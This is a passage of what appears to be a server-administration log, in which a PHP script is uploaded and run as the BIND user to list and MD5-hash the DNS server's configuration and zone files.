MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:24:48: Establishing a connection
2026-04-28 10:24:55: Establishing a connection
2026-04-28 10:24:55: 

PUT: /tmp/pkp328671

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:24:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp328671; rm /tmp/pkp328671'

2026-04-28 10:24:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
